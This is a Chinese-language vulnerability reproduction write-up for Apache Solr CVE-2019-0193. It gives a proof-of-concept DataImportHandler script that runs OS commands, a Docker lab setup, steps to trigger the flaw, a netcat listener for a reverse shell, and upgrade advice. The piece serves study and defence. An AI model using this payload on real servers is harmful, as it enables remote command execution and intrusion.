目录

Apache Solr 远程命令执行漏洞复现

Apache Solr 远程命令执行漏洞

2019 年 8 月 1 日,Apache Solr 官方发布了 CVE-2019-0193 漏洞预警,漏洞危害评级为严重。

此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

360CERT 判断漏洞等级为高,建议 Apache Solr 用户及时升级以防止攻击者攻击。

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<dataConfig>
    <script><![CDATA[
                function f1(row){
                    var run = java.lang.Runtime.getRuntime().exec("touch /tmp/success");
                    row.put('name', 'Hello World!');
                    return row;
                }
    ]]></script>
    <document>
        <entity name="person" transformer="script:f1" query="select * from person" pk="id">
            <field column="id" name="id" />
            <field column="name" name="name" />
        </entity>
    </document>
</dataConfig>

漏洞成因

该漏洞的产生是由于两方面的原因:

  • 用户在 solrconfig.xml 文件中设置了 DataImportHandler,开启了 DataImport 功能。
  • DataImportHandler 模块允许用户自己包含脚本,来进行配置。

攻击者可以通过构造恶意的脚本交由转换器进行解析,在Solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在Solr服务器上执行命令。

环境搭建

solr部署

本环境采用docker部署 拉取镜像:docker pull solr: 8.1.1 启动容器:docker run –name solr -d -p 8983:8983 -t solr:8.1.1 访问 http://IP:8983/,apache solr 框架部署完毕 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807203033.png-water_print

开启DataImportHandler插件

新建core:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807203222.png-water_print 点击Add Core,solr系统报错。

然后执行:docker exec -it –user root solr /bin/bash,进入 solr 容器。

进入容器后,执行:

1
2
3
4
5
cp /opt/solr-8.1.1/server/solr/configsets/_default/conf  /var/solr/data/new_core/
cp /opt/solr/dist/solr-dataimporthandler-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cp /opt/solr/dist/solr-dataimporthandler-extras-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cd /var/solr/data/new_core/conf/
vim solrconfig.xml

DataImportHandler 插件配置

将下面的 XML 添加到solrconfig.xml

1
2
3
4
5
6
<requestHandler name="/dataimport"  
                class="org.apache.solr.handler.dataimport.DataImportHandler" > 
    <lst name="defaults"> 
      <str name="config">data-config.xml</str> 
    </lst> 
</requestHandler>

:XML 的格式一定按照上述格式,否则会报错!

执行vim data-config.xml,并将下面 XML 保存至该文件:

1
2
3
4
5
6
7
8
9
<dataConfig>
    <dataSource driver="com.mysql.jdbc.Driver" url="jdbc:mysql://IP:3306/securityTest" user="root" password="root" />
    <document>
        <entity name="person" query="select * from person" pk="id">
            <field column="id" name="id" />
            <field column="name" name="name" />
        </entity>
    </document>
</dataConfig>

然后将 mysql-connector-java-5.1.48.jar 放入 /opt/solr/server/solr-webapp/webapp/WEB-INF/lib 文件夹下

重启 solr

然后重启 solr:./opt/solr/bin/solr restart

至此,漏洞环境搭建完毕,搭建成功的截图如下: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807204045.png-water_print

漏洞测试

访问管理页面

浏览器访问:http://IP:8983/

开启 Debug 模式

将 poc 复制到 Configuration 中: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807204426.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807204958.png-water_print

可在标注的地方更换受害机执行的命令,本文以反弹shell为例。

开启监听

nc -lp 4567

执行命令

点击 Execute with this Configuration https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807205043.png-water_print

执行成功可以发现shell已经成功反弹: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190807205235.png-water_print

影响范围

  • Apache Solr < 8.2.0

修复建议

  • 将Apache Solr 升级至 8.2.0 或之后的版本